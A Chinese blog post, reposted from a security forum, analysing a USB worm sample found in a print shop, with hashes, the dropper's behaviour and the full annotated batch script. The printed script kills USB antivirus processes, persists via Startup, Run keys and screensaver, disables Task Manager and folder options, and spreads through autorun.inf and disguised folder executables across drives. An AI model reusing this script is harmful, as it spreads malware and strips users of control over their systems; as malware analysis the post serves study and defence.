分享免费的编程资源和教程

网站首页 > 技术教程 正文

蠕虫病毒分析--强大的bat

goqiw 2024-09-12 16:21:49 技术教程 40 ℃ 0 评论

0.前言

打印店是个好地方,里面有很多野生的皮卡丘等着我们去捕捉。

本次抓到的样本就是从打印店抓到的,样本“驯化”难度一颗星。

1.样本信息

MD5:3fc395746c1c8afe87a4594376cd2b2e

SHA-1:f183347e8884fac4168d9b47ff51c0e963731ed0

File Size:69.5 KB

VT First Submission:2016-03-20 04:41:13

2.样本行为

感染C盘~N盘所有盘的根目录,隐藏根目录下的文件夹,并生成同名的病毒文件,禁用“文件夹和搜索选项”:

3.详细分析3.1 exe分析

exe部分比较简单,IDA+OD+Process Monitor分析起来很轻松。

exe程序的流程如下:

①初始化,生成bat代码数据;

②调用GetTempFileNameA生成一个临时文件,本次调试中生成~8D69.tmp;

③取该临时文件的文件名,生成bat文件:~8D69.bat;

④调用WriteFile,将bat代码数据写入~8D69.bat;



⑤调用SetFileAttributes,设置~8D69.bat隐藏属性

⑥调用CreateProcessA,运行~8D69.bat



⑦调用DeleteFile删除~8D69.bat文件;

⑧ExitProcess;

3.2 bat脚本分析

在分析bat脚本前,先补充一些知识点。

① explorer.exe "demo" 打开名为“demo”的文件夹

②假设文件为C:\Documents and Settings\jinsun\桌面\ParseSinglePkgs.bat,则这个bat脚本中的一些扩展变量的含义:

扩展变量 含义

%0 C:\Documents and Settings\jinsun\桌面\ParseSinglePkgs.bat

%~dp0 C:\Documents and Settings\jinsun\桌面\

%cd% C:\Documents and Settings\jinsun\桌面

%~nx0 ParseSinglePkgs.bat

%~n0 ParseSinglePkgs

%~x0 .bat

::********************************************************************************
@shift
@echo off
::关闭 shift位移和echo功能
if exist "%~n0" (explorer.exe "%~n0"&goto a)
::打开文件同名文件夹
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
::如果不存在,判断路径,打开所在盘
:a
set w=%systemroot%\system32\Drivers
if not exist %w%\USBInfo.com (attrib -s -h %0? %0 %w%\USBInfo.com)
::system32\Drivers路径下如果不存在USBInfo.com文件,则创建该文件
::使用Attrib +s +a +h +r命令就是把原本的文件增加了系统文件属性、隐藏文件属性,并拷贝自身%w%\USBInfo.com
if /i not "%cd%"=="%w%" (goto end)
::在不区分变量的大小写时加/i,原文件就在%w%路径下,则进入end
:d
taskkill /f /im usbmon.exe /im U盘病毒免疫器.exe /im USBCleaner.exe /im mmc.exe /im regedit.exe
::关闭防病毒进程,主要是usb防护
if not exist "%userprofile%\「开始」菜单\程序\启动\QQ.com" (copy %w%\USBInfo.com "%userprofile%\「开始」菜单\程序\启动\QQ.com" )
::将自身拷贝成QQ.com
if exist %w%\Driver.sys exit
if not exist "%systemroot%\system32\ScreenSave.scr" (copy "%w%\USBInfo.com" "%systemroot%\system32\ScreenSave.scr")
::拷贝自身%systemroot%\system32\ScreenSave.scr
if not exist "%w%\USBInfo.sy_" (call:reg>%w%\USBInfo.sy_)
::调用reg,并生成文件USBInfo.sy_,这是个注册表文件,之后可以注册
if not exist "%w%\USBstor.vbe" (call:slp>%w%\USBstor.vbe)
::调用slp,并生成文件USBstor.vbe
if not exist "%w%\USBInfo.vbe" (call:vbe>%w%\USBInfo.vbe)
::调用vbe,并生成文件USBInfo.vbe
if not exist "%w%\USBSys.vbe" (call:slp2>%w%\USBSys.vbe)
::调用slp2,并生成文件USBSys.vbe
goto 1
:end
if not exist "%w%\USBStor.vbe" (call:slp>"%w%\USBStor.vbe")
if exist "%w%\Driver.sys" (del /a /f /q "%w%\Driver.sys")
if not exist "%w%\Driver.sys" (echo.Driver>"%w%\Driver.sys"&%w%\USBStor.vbe)
if exist "%w%\Driver.sys" (del /a /f /q "%w%\Driver.sys")
if not exist "%w%\USBInfo.vbe" (call:vbe>"%w%\USBInfo.vbe")
"%w%\USBInfo.vbe"
exit
:vbe
::运行USBInfo.com
echo.createobject("wscript.shell").run "%w%\USBInfo.com"
goto :eof
:slp
::延时
echo.wscript.sleep 6000
goto :eof
:slp2
::延时
 
echo.wscript.sleep 400
goto :eof
:inf
::inf,自启动,autorun.inf文件
echo.[AutoRun]
echo.icon=%systemroot%\system32\shell32.dll,7
echo.label=本地磁盘
echo.open=
echo.
echo.shell\open=打开(O)
echo.shell\open\Command=文件夹.exe
echo.shell\open\Default=1
goto :eof
:reg
echo.Windows Registry Editor Version 5.00
echo.
echo.[HKEY_CURRENT_USER\Control Panel\Desktop]
echo."ScreenSaveTimeOut"="60"
::屏幕保护的延时秒
echo."SCRNSAVE.EXE"="C:\\WINDOWS\\system32\\ScreenSave.scr"
::屏保运行文件
echo.
echo.[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
echo."@"="c:\\windows\\system32\\Drivers\\USBInfo.com"
::开机启动
echo.
echo."@"="c:\\windows\\system32\\Drivers\\USBInfo.com"
::开机一次性启动
echo.
echo."@"="c:\\windows\\system32\\Drivers\\USBInfo.com"
::开机一次性启动
echo.
echo.[HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Policies\System]
echo."DisableTaskmgr"=dword:00000001
::禁用任务管理器
echo.
echo.[HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Policies\Explorer]
echo."NoRun"=dword:00000001
echo."NoFolderOptions"=dword:00000001
::禁用运行功能、禁用“文件夹和搜索选项”
echo.
echo.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
echo."HideFileExt"=dword:00000001
echo."ShowSuperHidden"=dword:00000000
echo."Hidden"=dword:00000000
::设置文件夹隐藏,无法取消隐藏受保护的操作系统文件
echo.
echo.[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
echo."Checkedvalue"=dword:00000000
::无法通过文件夹选项修改显示隐藏文件
goto :eof
:1
::注册,USBInfo.sy_ 这个文件
regedit /s %w%\USBInfo.sy_
%w%\USBStor.vbe
cd\
call:s
d:
call:s
if exist e:\ (goto e)
::遍历磁盘,从E盘到n盘,最后是c盘
goto ff
:e
e:
call:s
:ff
if exist f:\ (goto f)
goto gg
:f
f:
call:s
:gg
if exist g:\ (goto g)
goto hh
:g
g:
call:s
:hh
if exist h:\ (goto h)
goto ii
:h
h:
call:s
:ii
if exist i:\ (goto i)
goto jj
:i
i:
call:s
:jj
if exist j:\ (goto j)
goto kk
:j
j:
call:s
:kk
if exist k:\ (goto k)
goto ll
:k
k:
call:s
:ll
if exist l:\ (goto l)
goto mm
:l
l:
call:s
:mm
if exist m:\ (goto m)
goto nn
:m
m:
call:s
:nn
if exist n:\ (goto n)
goto o
:n
n:
call:s
: o
c:
cd %w%
goto d
:s
%w%\USBSys.vbe
if not exist 文件夹.exe (copy %w%\USBInfo.com 文件夹.exe)
::拷贝 文件夹.exe
attrib +a +r +s +h 文件夹.exe
::设置文件属性,文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
if exist autorun.inf\ (eCho.y|cacls autorun.inf /p everyone:f
::echo y|cacls c:\autorun.inf /p everyone:f
::用通道符号|,把前面的命令执行结果信息发送到下个命令处理。
::也就是前面的echo y执行结果为y,发送到下个命令自动确认。。cacls修改文件的访问控制表(ACL)
rd autorun.inf /s /q&del /f /a /q autorun.inf)
::rd(remove directory)删除目录命令
if not exist autorun.inf (call:inf>autorun.inf&attrib +a +r +s +h autorun.inf)
::不存在 autorun.inf,则生成这个文件
if exist desktop.ini del /f /a /q desktop.ini
dir /a:d /b>desktop.ini
for /f "usebackq tokens=*" %%i in (desktop.ini) do if not exist "%%i.exe" (copy %w%\USBInfo.com "%%i.exe"&attrib +s +h "%%i")
::desktop.ini中的每一个文件,创建USBInfo.com
del /f /a /q desktop.ini
attrib +a +r +s +h "recycler.exe"
attrib +a +r +s +h "system volume information.exe"
::********************************************************************************
四、总结
这个病毒还是很简单的,虽然VT上第一次上传时间是2016年,但感觉这么玩的病毒,应该是十年前的。
本文作者:icq5f7a075d,转载自:https://bbs.ichunqiu.com/thread-29574-1-1.html

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表